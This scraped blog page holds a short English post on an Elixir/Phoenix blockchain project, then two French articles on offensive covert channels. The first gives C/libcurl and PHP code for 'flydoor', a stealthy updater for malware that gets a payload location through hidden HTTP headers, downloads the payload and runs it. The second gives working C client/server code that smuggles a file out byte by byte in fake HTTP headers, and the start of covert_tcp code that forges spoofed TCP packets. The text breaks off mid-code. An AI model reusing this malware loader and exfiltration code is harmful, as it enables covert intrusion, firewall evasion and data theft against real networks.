Most seen

Elixir Journey

I’ve been working on a blockchain oriented project for some months now, and I wanted to share with you this exciting journey I’m in working on a Phoenix, Elixir, Erlang stack.

https://gabber12.me/wp-content/uploads/2017/01/elixir_vertical.png

For those who do not knows what the Elixir programming language is, we’ll do a real quick recap. Elixir is a programming language created on top of Erlang by a Ruby core developers. The syntax is purposely Ruby oriented, but follows the Functional Oriented Erlang programming paradigm. Erlang was created in the 90’s for telecommunication systems, thus it was designed to be concurrency oriented and offers some error recovery. On top of that we use the Phoenix framework for industry oriented development and to ease maintainability.

This story will be about how we made our system using some useful Elixir packages available on Hex package manager. It is not a tutorial about Elixir programming but I’ll try to explain as much as possible the under-layers of our choices.

So let’s begin by some of the functionalities we needed for our system. First of all we need a way for users to create an account and sign in. Then, of course, we’ve seen that we needed a forgot password feature because a password not lost is not a good password :)

Then we needed user to add, edit and delete data in the system but with the special feature of logging every modifications done to the data. The purpose is to save these modifications as a signed timestamped log stored in our datastore to keep track of them. This way everyone should be able to access the data information and check what and when was the data modified.

We also needed a notification system allowing users to be informed of administrative notifications. This particular problem is very well solved with Elixir/Phoenix as it propose a standardized Websocket implementation for communication between clients and server.

As said, we had some administrative resources to manage how the system work and to communicate with customers. So we added a role management system to protect these resources.

Because our application should be available on web browsers and mobile devices we provided a JSON API as Restful as possible :)

As you’d expect for a block chain based project we rely on some cryptography to secure our stored information data.

On top of this we also wanted to have some media attached to these resources, it could be documents or images. Of course, a thumbnail preview feature was required too.

These are the main features that were expected for the product, now we’ll dive into each one and see how we made it in Elixir. Be aware that because of time limits the proposed solutions are not always the best it could be so use this information carefully.

So stay tuned for the next post, we'll begin with account management.

HTTP covert channel Backdoor

Preface

Je regardais mon flux de news l'autre jour et je suis tombé sur un article expliquant que le nombre d'attaques via PowerShell était en net augmentation. Un exemple expliquait qu'il y avait eu des cas d’exécution de fichier sans écriture sur le disque. Je me suis alors rappeler de cet article que j'avais écrit il y a un petit moment expliquant comment récupérer un fichier en ligne via un canal cache. Je l'utilisais a l’époque pour ma backdoor qui l’exécutée en mémoire via le framework .Net. J'ai du retirer le code en question. L'article date de 2012, autant vous dire que ce qui est présenté comme une recrudescence d'attaque n'est pas vraiment nouveau.

Introduction

Cher lecteur, bonjour. Je vais aujourd'hui vous présenter le principe de flydoor. L'idée m'est venue à l'esprit après avoir lu un article sur le logiciel Loic (permettant de faire des DoS) développé par les Anonymous qui souffrait d'un bug que certains administrateurs avaient exploité pour se protéger d'éventuelles attaques DDoS. 

Aujourd'hui nous connaissons tous le principe de l'auto-update qui permet la mise à jour de vos logiciels de manière automatisée. Ces petits programmes vous permettent d'avoir des logiciels toujours à jour et de corriger les éventuels bugs. 

Il m'est donc venu à l'idée la mise en place d'un tel outil pour vos chers petits malwares. En effet, aujourd'hui de nombreux malwares sont des logiciels à part entière, avec leur part de bugs et d'améliorations possibles. 

J'ai donc réaliser un programme de mise à jour automatisée de manière la plus discrète et robuste possible dont voici donc le schéma de principe.

Schéma de principe

L'idée étant que le programme devra être capable de résister à une tentative de suppression du système de mise à jour. Pour cela je me suis inspiré du système des trackers du réseau torrent. En effet le programme va, dans un premier temps récupérer, auprès du serveur mandataire, l'adresse du serveur de mise à jour. Suite à cela il va vérifier que le fichier disponible sur le serveur est plus récent que l'actuel (à l'aide d'un CRC32), le télécharger et le lancer le cas échéant. Tout cela camouflé à l'aide d'un covert channel HTTP ([1] [2]

in memory file execution
Voici donc le processus décrit en entier : 1. Requête HTTP POST au serveur mandataire pour récupérer le serveur de téléchargement. 2. Requête HTTP POST au serveur de téléchargement pour récupérer le hash du nouveau fichier. 3. Vérification du hash du nouveau fichier par rapport à celui présent sur la machine locale. 4. Téléchargement de la mise à jour par requête HTTP GET et vérification de l'intégrité du fichier. 5. Lancement de la mise à jour.

Programmation

Maintenant que nous avons l'architecture de notre application, il ne reste plus qu'à la coder \o/. 

Nous pouvons tout de suite voir que nous avons un nombre important de requêtes HTTP à réaliser, ce qui nous amène à choisir la librairie curl [3] pour nous faciliter la tâche. 

De plus j'ai choisi de transmettre les données par le biais de l'en-tête HTTP sous la forme d'un « pseudo » canal caché. Il nous faudra donc une librairie permettant d'utiliser les expressions régulières pour parser les en-têtes. Nous prendrons donc pcre [4] qui est une référence. 

Pour finir, nous aurons également besoin de calculer des sommes de contrôle. Pour cela j'ai opté pour la librairie zlib [5]. Ce choix a également été motivé par les possibilités qu'offre cette librairie pour les évolutions futures du logiciel. 

Dans un premier temps on va initialiser la librairie curl :
CURL *curl;
CURLcode res;

curl = curl_easy_init();

Je ne vais pas refaire un tutoriel sur l'utilisation de la librairie curl [3], je vous renvoie pour cela à la documentation de la librairie. Ce qu'il faut savoir c'est que la majorité des commandes se font par le biais de la fonction curl_easy_setopt.

Après initialisation, nous allons donc récupérer l'adresse du serveur de mise à jour : 

if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, MANDATORYSERVER);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=110a3755713adadcc2b9f3301c12d358"); curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, get_server);

res = curl_easy_perform(curl);
}

Ce code défini que nous envoyons une requête POST à MANDATORYSERVER avec comme argument name et le hash de “getbubbles”. Nous définissons également que la fonction get_ server doit effectuer le traitement de l'header HTTP reçu en réponse. Le prototype de la fonction est le suivant : 

static size_t get_server(void* ptr, size_t size, size_t nmemb, void* userdata)

Il s'agit du prototype générique pour la majorité des handler de la libcurl. L'argument ptr contient les données reçues, size, la taille des données, nmemb, la taille du type de données et userdata qui permet de passer des arguments supplémentaires. Dans notre cas, cette fonction fait appel à get_data qui s'occupe de parser le header HTTP. J'ai choisi d'utiliser l'entête X-Data pour transmettre les données. 

Voici un exemple :
< HTTP/1.1 200 OK
< Date: Tue, 12 Apr 2011 21:36:51 GMT
< Server: Apache/1.3.34 (Ubuntu)
< X-Powered-By: PHP/4.4.9-1.standard
< X-Data: 4884da7754823b44ccc2b2106f21146e

< Transfer-Encoding: chunked
< Content-Type: text/html

Ainsi donc la fonction get_data s'occupe de récupérer la somme MD5 pour l'exemple précédent. Voici le code de la routine en question.

#define PATTERN "(X-Data:) (.+)$"
re = pcre_compile( pattern, 0, &error, &erroffset, NULL);
if (re != NULL) {
    rc = pcre_exec( re, NULL, line, size*nmemb, 0, 0, ovector, OVECCOUNT);
    if (rc > 0) {
        int i = 2;
        char *substring_start = line + ovector[2*i];
        int substring_length = ovector[2*i+1] - ovector[2*i];
        strncpy_s(to, 512, substring_start, substring_length);
        pcre_free(re);
    }
}

Pour cette partie nous utilisons donc la librairie pcre. On peut voir que l'expression régulière chargée de récupérer les données est extrêmement simple, elle récupère tout ce qui suit le champ X-Data. Bien sûr libre à l'utilisateur de la modifier \o/. 

Dans notre exemple nous récupérons donc dans un premier temps l'adresse du serveur de mise à jour. Ensuite nous interrogeons le serveur pour obtenir le nom et le hash de la mise à jour. Cela se fait grâce à une requête POST avec comme paramètre name et comme valeur le MD5 de la commande “getfile” et de la commande “getsum”. 

// commande name = getfile
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=b24ba6d783f2aa471b9472109a5ec0ee"); curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, get_filename);
Suivi de :

// commande name = getsum
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=9ea01aea19194742b87d3663a3be06af"); curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, get_crc32);

Si ce hash est différent du fichier local, alors on récupère le fichier par une méthode GET :

FILE *fp;

if(curl)
{
    fp = fopen(output, "wb");
    curl_easy_setopt(curl, CURLOPT_HTTPGET, 1L);
    curl_easy_setopt(curl, CURLOPT_URL, tmp);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);
    res = curl_easy_perform(curl);
    fclose(fp);
}

Une fois le fichier récupéré, on l'exécute avec les arguments passés à notre utilitaire : 

_execv(update_filename, argv);

Et voilà \o/ la mise à jour a été réalisée avec succès. Vous pouvez enfin nettoyer toutes les ressources allouées pendant l'exécution du programme. 

Ceci étant pour le code côté client. Du côté serveur nous avons donc besoin d'un serveur HTTP. Dans notre exemple, un serveur Apache. Mais n'importe quel serveur peut faire l'affaire. Je vais donc vous présenter le code PHP du serveur tel que je l'ai réalisé. 

Le serveur mandataire s'occupe donc de vérifier que les serveurs de mise à jour sont en ligne et renvoie le premier serveur de la liste : 

<?php
$adresses = array("http://127.0.0.1:80/test/delivery.php");

if ($_POST["name"] == md5("getbubbles"))
{
    foreach($adresses as $adresse)
    {
        if(@file_get_contents($adresse))
        {
            header("X-Data: http://".$adresse.'/');
            break;
        }
    }
}
?>

Du côté du serveur de mise à jour, le code est extrêmement simple puisqu'il s'occupe de retourner le nom du fichier de mise à jour et la somme MD5 : 

<?php
$backdoor = "http://127.0.0.1:80/test/update.exe";

$crc32 = sprintf( "%u", crc32(file_get_contents($backdoor)));

if (isset($_POST["name"]))
{

}

if ($_POST["name"] == md5("getfile"))
header("X-Data: ".$backdoor);
if ($_POST["name"] == md5("getsum"))
header("X-Data: ".$crc32 );

?>

Conclusion

Pour le moment seul un covert channel HTTP a été implémenté mais on pourrait imaginer d'autres types de covert channel (DNS, ICMP ou autre). On aurait aussi pu implémenter une routine permettant de choisir le serveur de mise à jour de manière aléatoire pour éviter les requêtes répétées en direction du même serveur. De plus le code reste à améliorer grandement, pour le moment il ne s'agit que de l'ossature de l'application mais toute aide extérieure sera appréciée \o/. 

Voilà, j'espère que cette présentation vous aura permis d'apprendre pas mal de choses et je me permets maintenant de lancer un appel à la communauté. J'ai créé un hébergement google code pour le projet et j'espère que vous prendrez le temps d'y jeter un œil voir même d'y participer \o/.

Bibliographie


  1. [1] Frenchy Covert Channel, Flyers
  2. [2] Tunneling et canaux cachés au sein du protocole HTTP, Simon Castro
  3. [3] Libcurl
  4. [4] Libpcre
  5. [5] Zlib

Flyers

Application des covert channel

Préface

Je souhaitais partager avec toi publique un article écrit il y a quelque temps déjà mais encore d'actualité. Il présente la mise en application de différentes techniques de covert channel ou communication cachée.

Explication générale

Le covert channel peut être traduit en français par flux de données camouflées.
Un covert channel est une technique ayant pour but de faire passer au travers d'un firewall des données. Ces données doivent être présentent dans un paquet sans être visible par le firewall ou l'administrateur qui sniff son réseau. Pour cela on a recours à différentes techniques variables en fonction des protocoles choisis. Mais en général le choix s'oriente naturellement vers les headers des paquets car ceux-ci sont rarement filtrés par les firewalls.
De plus les champs optionnels et/ou de grande taille sont préférés par les hackers car il s'agit là de pouvoir y placer un maximum d'information.
Le covert channel et le tunneling sont deux techniques distinct contrairement à ce que peuvent penser certaines personnes. Le tunneling consiste à encapsuler un protocole dans un autre (au niveau du corps) tandis que les covert channel eux, fonctionne en... vous verrez bien après avoir lu cet article :).

Introduction

Le but premier de cet article est de vous présentez quelques méthodes de covert channel accompagnés de code en C fonctionnant sous linux.
J'ai d'abord voulu intégrer l'échange de données sous la forme de routines permettant d'envoyer des commandes à une backdoor. Mais au fur et à mesure du développement j'ai intégré le code de façon à ce qu'il puisse transférer des données au sein des paquets.
Les codes présents dans cet article sont des proof of concepts, comprenez qu'ils ne sont ni optimisés ni même sécurisés. C'est seulement des exemples (à ne pas suivre) pour expliquer d'une façon moins théorique les coverts channels.

Exemple : Protocole HTTP

Le protocole HTTP est un protocole de haut niveau qu'il est donc difficile de filtrer surtout qu'il est très utilisé et, de plus, il est souvent accompagné, au niveau des requêtes, d'informations annexes envoyées par des modules/plug-in. On peut dire qu'il s'agit là d'un protocole tout à fait adapté au covert channel: un header contenant des champs permettant de stocker beaucoup de données, la possibilité de stocker les données dans le corps de façon transparente. Ce protocole, du fait de ses spécificités, est assez difficile à filtrer.
De plus comme il s'agit d'un protocole de haut niveau nous n'avons besoin que des sock_stream pour travailler avec donc il n'y a pas besoin des droits root.
Vous trouverez plus d'informations sur ces spécifications dans les [RFC].

Tout d'abord abordons les différents modèles client/serveur :
- Le modèle serveur httpd: il consiste en un programme "émulant" le fonctionnement d'un serveur httpd tout en récupérant les données cachées dans la requête (méthode utilisée dans le code source).
- Le modèle serveur proxy: modèle consistant en un programme "émulant" le fonctionnement d'un proxy, le serveur attend l'arrivée de la requête, récupère les données cachées puis agit comme un proxy en renvoyant la requête vers le serveur httpd demandé.
- Le modèle serveur CGI: cette technique nécessite de mettre en place un script CGI sur le httpd cible pour que le script agisse comme un CGI mais récupère les données camouflées via l'URI ou les autres variables d'environnement ou encore via le corps du message.

Intéressons nous maintenant aux champs, qui pourrait nous intéresser, d'une requête HTTP de type GET :
- La chaîne URI: Il est facile de cacher des données sous forme d'arguments via l'URI
GET http://www.somehost.com/cgi-bin/board.cgi?view=12121212 / HTTP/1.0
Ici on voit bien que la variable view de l'URI peut contenir les données cachées (ici c'est flagrant mais il est très facile de créer un hash md5 et de faire croire qu'il s'agit d'un numéro de session par exemple).
- User-Agent: Dans ce champ on peut dissimuler ses données bien que ce soit moins évident que pour le champ précédent.
User-Agent: Mozilla/5.0 (12121212)
Ici on pourrait formatter la donnée pour quelle soit cachée dans la version du système ou du navigateur: (Linux 2.4.12 Konqueror/1.2) Gecko/12121212  par exemple.
- Accept-Charset:  Ce champ normalement utiliser pour définir les charset utilisés par le navigateur peut camoufler certaines valeurs.
>Accept-Charset: ISO-8859-1,utf-8,ISO-1212-1
- Les champs étendus du header (qui eux peuvent être filtrés par les firewall) peuvent permettre d'inclure des données dans l'entête de taille variable.
X-Microsoft-Plugin: unexpected error #12121212
C'est la méthode utilisée par le code source mais n'est pas la plus furtive.

Pour (beaucoup ?) plus de détails sur les covert channel HTTP, lisez l'excellent texte de Simon Castro [CASTRO].

Attaquons la pratique :
Du côté du client :

client.h :
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <errno.h>
4 #include <string.h>
5 #include <netdb.h>
6 #include <sys/types.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>

9 #define PORT 31337 /* the port client will be connecting to */
10 #define MAXDATASIZE 1024 /* max number of bytes we can get at once */

11 char *CreateQuery(char *, char *, int);

client.c:
1 #include "client.h"
2 int main(int argc, char *argv[])
3 {
4     int sockfd, numbytes, ch;
5     char *requete = (char *)malloc(1024*sizeof(char));
6     char target[20], uri[80], buf[MAXDATASIZE+1];
7     struct hostent *he;
8     struct sockaddr_in their_addr; 
9     FILE *input;
10     
11     
12     if (argc != 4) {
13         fprintf(stderr,"Usage: %s Target Page File\n", argv[0]);
14         fprintf(stderr,"Example: %s 195.25.63.78 /index.htm exploit.c\n", argv[0]);
15         fprintf(stderr,"Page max size is 80 characters\n");
16         fprintf(stderr,"File must contain ascii characters\n\n");
17         exit(1);
18     }
19     
20     strncpy(target, argv[1], 17);
21     strncpy(uri, argv[2], 79);
22     
23     if ((he=gethostbyname(target)) == NULL) {  
24       herror("gethostbyname");
25       exit(1);
26     }
27     
28     if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
29      perror("socket");
30      exit(1);
31     }
32     their_addr.sin_family = AF_INET;      
33     their_addr.sin_port = htons(PORT);    
34     their_addr.sin_addr = *((struct in_addr *)he->h_addr);
35     bzero(&(their_addr.sin_zero), 8);     
36     
37     if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { 
38      perror("connect");
39      exit(1);
40     }
41           
42     if((input = fopen(argv[3], "rb")) == NULL) {
43      printf("I cannot open file %s for reading", argv[3]);
44      exit(1);
45     } 
46     
47     else while((ch = fgetc(input)) != EOF) {
48     
49      sleep(1);
50       
51      requete = CreateQuery(uri, target, ch);
52      if (send(sockfd, requete, strlen(requete)+1, 0) == -1) {
53         perror("send");
54         break;
55         }
56        
57     printf("Sending Data: %c\n",ch);
58     
59     while ((numbytes = read(sockfd, buf, MAXDATASIZE)) != 0) {
60      buf[numbytes] = '\0';
61       printf("Data successfully received.\n");
62       break;
63       }
64     }
65     fclose(input);
66     free(requete);
67     close(sockfd);
68     return 0;
69 }
70 char *CreateQuery(char *page, char *host, int ch) {
71   char *header = (char *)malloc(1024*sizeof(char));
72   
73     sprintf(header,
74     "GET %s HTTP/1.1\r\n"
75     "Host %s\r\n"
76     "User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.6) Gecko/20040115\r\n"
77     "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n"
78     "Accept-Language: fr,en;q=0.5\r\n"
79   "Accept-Encoding: gzip,deflate\r\n"
80   "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
81   "Keep-Alive: 300\r\n"
82   "Connection: keep-alive\r\n"
83     "X-Microsoft-Plugin: unexpected error %d\r\n"
84     "\r\n",page,host,ch    
85     );
86     return (header);
87 }

Dans client.h on retrouve tous les headers nécessaires à la communication réseau et aux fonctions utilisées dans le code.
Passons à client.c :
lignes 4 à 9 on s'occupe de déclarer/initialiser les données.
lignes 12 à 21 petite vérification de base des arguments passés au programme.
lignes 23 à 26 on récupère l'ip en fonction du DNS passer.
lignes 28 à 31 on s'occupe de créer le socket (un fichier où passeront toutes les données échangées).
lignes 32 à 35 on remplit la structure sockaddr_in.
lignes 37 à 40 on se connecte au serveur.
lignes 42 à 45 on s'occupe d'ouvrir le fichier à transférer (le fichier doit être un fichier texte) en mode binaire et non pas texte (pour pouvoir convertir les caractères en leurs code ASCII).
ligne 47 on créé une boucle pour envoyer un paquet pour chaque caractère (ceci peut être optimiser pour envoyer plus de données d'un coup).
ligne 49 on met un sleep(1) pour éviter les pertes de données (sur internet sans le sleep les données s'enchaînent et il peut y avoir des pertes de données).
ligne 50 on saute à CreateQuery()
lignes 70 à 87 CreateQuery s'occupe de créé une requête contenant une erreur : 75 "Host %s\r\n" devrait être "Host: %s\r\n".
lignes 52 à 55 on balance la requête.
lignes 59 à 63 on attend la réponse du serveur pour être sûr que les données ont bien été reçus.
lignes 65 à 68 on ferme tout :).

Du côter du serveur :

server.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <errno.h>
4 #include <string.h>
5 #include <sys/types.h>
6 #include <netinet/in.h>
7 #include <sys/socket.h>
8 #include <sys/wait.h>

9 #define MYPORT 31337    /* the port users will be connecting to */
10 #define BACKLOG 10     /* how many pending connections queue will hold */
11 #define MAXDATASIZE 2048

12 int ParseResp(char *);
13 char *CreateQuery(char *);

server.c:
1 #include "server.h"

2 int main(int argc, char *argv[])
3 {
4  int sockfd, new_fd, numbytes = 0;  
5  struct sockaddr_in my_addr;
6  struct sockaddr_in their_addr;
7  int sin_size, rec, ch;
8  char *buf = (char *)malloc(2048*sizeof(char));
9  char *respons = (char *)malloc(1024*sizeof(char));
10  char localdns[81];
11  FILE *output;
12  
13  if (argc != 3) {
14         fprintf(stderr,"Usage: %s LocalDNS File\n", argv[0]);
15         fprintf(stderr,"Example: %s www.evil.us /tmp/xploit.c\n", argv[0]);
16         fprintf(stderr,"LocalDNS must not exceed 80 characters\n\n");
17         exit(1);
18     }
19     
20    strncpy(localdns, argv[1], 80);
21    
22  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
23      perror("socket");
24      exit(1);
25  }
26  my_addr.sin_family = AF_INET;         /* host byte order */
27  my_addr.sin_port = htons(MYPORT);     /* short, network byte order */
28  my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */
29  bzero(&(my_addr.sin_zero), 8);        /* zero the rest of the struct */
30  
31  if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1){
32      perror("bind");
33      exit(1);
34  }
35  
36  if (listen(sockfd, BACKLOG) == -1) {
37      perror("listen");
38      exit(1);
39  }
40  if((output=fopen(argv[2],"wb"))== NULL) {
41    printf("I cannot open the file %s for writing\n",argv[2]);
42    exit(1);
43  }
44  while(1) {  /* main accept() loop */
45      sin_size = sizeof(struct sockaddr_in);
46      if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size))==-1){ 
47          perror("accept");
48          exit(1);
49      }
50      printf("server: got connection from %s\n", inet_ntoa(their_addr.sin_addr)); 
51      while ((read(new_fd, buf, MAXDATASIZE)) != 0) {
52       sprintf(buf, "%s"+'\0', buf);
53       ch = ParseResp(buf);
54       fprintf(output,"%c",ch);
55        fflush(output);
56       memset(buf, 0, strlen(buf));
57       respons = CreateQuery(localdns);
58        if (send(new_fd, respons, strlen(respons), 0) == -1)
59              perror("send");
60       }
61        
62      close(new_fd);
63      free(respons);
64      free(buf);
65      }
66    fclose(output);
67    return 0;     
68  }
69 char *CreateQuery(char *host) {
70   char *header = (char *)malloc(1024*sizeof(char)), *data = (char *)malloc(1024*sizeof(char));
71   char *tmp = (char *)malloc(1024*sizeof(char));
72   
73   sprintf(data,
74   "17c\r\n"
75   "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n"
76   "<HTML><HEAD>\r\n"
77   "<TITLE>400 Bad Request</TITLE>\r\n"
78   "</HEAD><BODY>\r\n"
79   "<H1>Bad Request</H1>\r\n"
80   "Your browser sent a request that this server could not understand.<P>\r\n"
81   "Request header field is missing colon separator.<P>\r\n"
82   "<PRE>\r\n"
83   "Host %s</PRE>\r\n"
84   "<P>\r\n"
85   "<HR>\r\n"
86   "<ADDRESS>Apache/1.3.27 Server at %s Port 80</ADDRESS>\r\n"
87   "</BODY></HTML>\r\n"
88   "\r\n"
89   "0\r\n", host, host);
90   
91     sprintf(header,
92     "HTTP/1.1 400 Bad Request\r\n"
93   "Date: Mon, 26 Jul 2004 11:07:48 GMT\r\n"
94   "Server: Apache/1.3.27 (Unix) mod_tsunami/1.1 AuthMySQL/2.20\r\n"
95   "Connection: close\r\n"
96   "Transfer-Encoding: chunked\r\n"
97   "Content-Type: text/html; charset=iso-8859-1\r\n"
98     "\r\n");
99     sprintf(tmp,"%s%s",header,data);
100     free(header);
101     free(data);
102     return (tmp);
103 }
104 int ParseResp(char *query) {
105   char *result = (char *)malloc(24 * sizeof(char));
106   unsigned short ch;
107   
108   memcpy(result, query+strlen(query)-7, 8);
109   ch = atoi(result);
110   printf("Received: %c\n", ch);
111   free(result);
112   return ch;
113 }

En ce qui concerne server.h, c'est pareil que pour client.h.
Dans server.c :
lignes 4 à 11 on déclare/initialise les variables.
lignes 13 à 20 petite vérification de base des arguments passés au serveur.
lignes 22 à 25 on créé le socket.
lignes 26 à 29 on remplit sockaddr_in.
lignes 31 à 39 on initialise le serveur avec bind et listen.
lignes 40 à 43 on ouvre le fichier où l'on va écrire.
lignes 45 à 50 on attend la connection d'un client.
ligne 51 tant que l'on reçois des données on lit le socket.
ligne 53 on saute vers ParseResp().
lignes 104 à 113 ParseResp s'occupe de chercher les données cachées (à la fin du paquet): ligne 108 on se place 7 octets avant la fin du paquet et on récupère les 8 octets qui suivent. ligne 109 on convertis la string en integer (atoi).
lignes 54 et 55 on écrit le résultat du parse dans le fichier.
ligne 57 on créé une requête de réponse de type "400 Bad Request" au format http 1.1
lignes 58 à 60 on balance la requête au client.
lignes 63 à 67 on nettoie tout ça et on quit.

Comme je le disais ce code est assez sale (quoique j'ai déjà vu pire) et on pourrait y ajouter un grand nombre d'optimisations.
Par exemple, l'utilisation de threads au niveau du serveur pour qu'il puisse recevoir plusieurs paquets à la fois (la communication irait beaucoup plus vite). Une technique cryptographique ou de formattage des données envoyées.
Et d'autres encore.

[RFC] :
http://abcdrfc.free.fr/rfc-vf/rfc1945.html RFC HTTP 1.0 vf
http://abcdrfc.free.fr/rfc-vf/rfc2616.html RFC HTTP 1.1 vf

[CASTRO] :
http://www.gray-world.net/projects/papers/html/cctde.html

Exemple: Protocole TCP

Les covert channel dans le header TCP sont bien connus ; le header TCP contient plusieurs champs d'assez grande taille ou optionnels. Il s'agit d'un protocole assez complexe (au niveau de l'header) ce qui ne fait que nous arranger :).
Pour manipuler des paquets TCP il faut utiliser les sock_raw et donc les droits root.
Pour plus d'informations je vous invite à consulter la [RFC] TCP qui vous éclairera surement.

Le header TCP est constituer de :
http://www.frameip.com/entetetcp/
Les champs qui peuvent nous intéresser sont :
- Séquence: contenant le numéro de séquence capable d'identifier le paquet dans le flux
- Le numéro d'ACK: contenant le numéro de séquence + 1 dans le cas où l'on utilise un serveur de rebond. Plus d'explications là-dessus plus loin.
- Les flags: ce champ sert à spécifier le type de paquet TCP (SYN pour initialiser une connection, ACK pour confirmer la demande de connection...). On peut facilement utiliser les flags pour représenter une variable stockée en dur du côter serveur: on active les flags URG, PSH et FIN ce ki donne 101001 qui sera interpréter côter serveur comme une commande.
En fin de paquet il existe des champs optionnels que l'on peut rajoutés :
http://www.frameip.com/entetetcp/
- Les options: Ce champ peut occuper une taille variable mais doit, à l'aide du bourrage, toujours être un multiple de 8.
Il existe également un pseudo header qui permet à TCP d'éviter les erreurs de routage :
http://www.frameip.com/entetetcp/
Si vous n'avez pas le courage de lire en entier la RFC TCP (ce qui est compréhensible) allez faire un tour sur [FrameIp].

Le code source que je vais vous présenter utilise le champ Séquence pour cacher ses données et devrait normalement être capable d'utiliser un serveur de rebond puis de récupérer les données dans le champ Numéro d'ACK.
Une petite explication s'impose, comme vous l'avez vu plus haut le champ Numéro d'ACK = le champ Séquence +1. Le champ Numéro d'ACK est utilisé seulement après une demande de connection (flag SYN), le fonctionnement du programme consiste à envoyer un SYN vers un serveur de rebond en falsifiant l'adresse source pour que le serveur de rebond renvoit le paquet vers le serveur de notre création qui va s'occuper d'extraire les données dans le champ Numéro d'ACK.

Voyons cela dans la pratique :
Ces codes sont tirés d'un article très intéressant sur les covert channel TCP et IP: [ROWLANDCOVER]. Je n'ai fait que séparer le côter client/serveur et le covert channel TCP et IP.

client.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/tcp.h>

12 void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
13        int);
14        
15 unsigned int host_convert(char *);
16 unsigned short in_cksum(unsigned short *, int);
17 void usage(char *);

client.c:
1 /* Covert_TCP 1.0 - Covert channel file transfer for Linux
2 * Written by Craig H. Rowland (crowland@psionic.com)
3 * Copyright 1996 Craig H. Rowland (11-15-96)
4 * NOT FOR COMMERCIAL USE WITHOUT PERMISSION. 
5 * 
6 *
7 * This program manipulates the TCP/IP header to transfer a file one byte
8 * at a time to a destination host. This progam can act as a server and a client
9 * and can be used to conceal transmission of data inside the IP header. 
10 * This is useful for bypassing firewalls from the inside, and for 
11 * exporting data with innocuous looking packets that contain no data for 
12 * sniffers to analyze. In other words, spy stuff... :)
13 *
14 * PLEASE see the enclosed paper for more information!!
15 *
16 * This software should be used at your own risk. 
17 *
18 * compile: cc -o covert_tcp covert_tcp.c
19 *
20 * 
21 * Portions of this code based on ping.c (c) 1987 Regents of the 
22 * University of California. (See function in_cksm() for details)
23 *
24 * Small portions from various packet utilities by unknown authors
25 */

26 #include "client.h"

27 int main(int argc, char *argv[]) {

28    unsigned int source_host=0,dest_host=0;
29    unsigned short source_port=0,dest_port=80;
30    int seq=0,file=0;
31    int count;
32    char desthost[80],srchost[80],filename[80];

33    if(geteuid() !=0)
34     {
35     printf("\nYou need to be root to run this because it use sock_raw.\n\n");
36     exit(0);
37     }
38     
39    if(argc != 11)
40    {
41    usage(argv[0]);
42    exit(0);
43    }    
44    for(count=0; count < argc; ++count)
45     {
46     if (strcmp(argv[count],"-dest") == 0)
47      {
48      dest_host=host_convert(argv[count+1]); 
49      strncpy(desthost,argv[count+1],79);
50      }
51      
52     else if (strcmp(argv[count],"-source") == 0)
53      {
54      source_host=host_convert(argv[count+1]); 
55      strncpy(srchost,argv[count+1],79);
56      }

57     else if (strcmp(argv[count],"-file") == 0)
58      {
59      strncpy(filename,argv[count+1],79);
60      file=1;
61      }

62     else if (strcmp(argv[count],"-source_port") == 0)
63       source_port=atoi(argv[count+1]);

64     else if (strcmp(argv[count],"-dest_port") == 0)
65       dest_port=atoi(argv[count+1]);
66     }

67     seq=1; 

68    if(file != 1)
69     {
70     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
71     exit(1);
72     }

73      if (source_host == 0 && dest_host == 0)
74       {
75       printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
76       exit(1);
77       }

78      else
79       {
80       printf("Destination Host: %s\n",desthost);
81       printf("Source Host     : %s\n",srchost);

82        if(source_port == 0)
83         printf("Originating Port: random\n");

84        else
85         printf("Originating Port: %u\n",source_port);

86       printf("Destination Port: %u\n",dest_port);
87       printf("Encoded Filename: %s\n",filename);

88       printf("Encoding Type   : IP Sequence Number\n");

89       printf("\nClient Mode: Sending data.\n\n");
90      }
91      
92      forgepacket(source_host, dest_host, source_port, dest_port,filename,seq);
93      exit(0);
94 }

95 void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
96 short source_port, unsigned short dest_port, char *filename, int seq) {
97    struct send_tcp
98    {
99       struct iphdr ip;
100       struct tcphdr tcp;
101    } send_tcp;

102    struct pseudo_header
103    {
104       unsigned int source_address;
105       unsigned int dest_address;
106       unsigned char placeholder;
107       unsigned char protocol;
108       unsigned short tcp_length;
109       struct tcphdr tcp;
110    } pseudo_header;

111    int ch;
112    int send_socket;
113    struct sockaddr_in sin;
114    FILE *input;
115    
116  srand((getpid())*(dest_port)); 
117  
118  if((input=fopen(filename,"rb"))== NULL)
119  {
120  printf("I cannot open the file %s for reading\n",filename);
121  exit(1);
122  }

123 else while((ch=fgetc(input)) !=EOF)
124  {

125  sleep(1);

126    send_tcp.ip.ihl = 5;
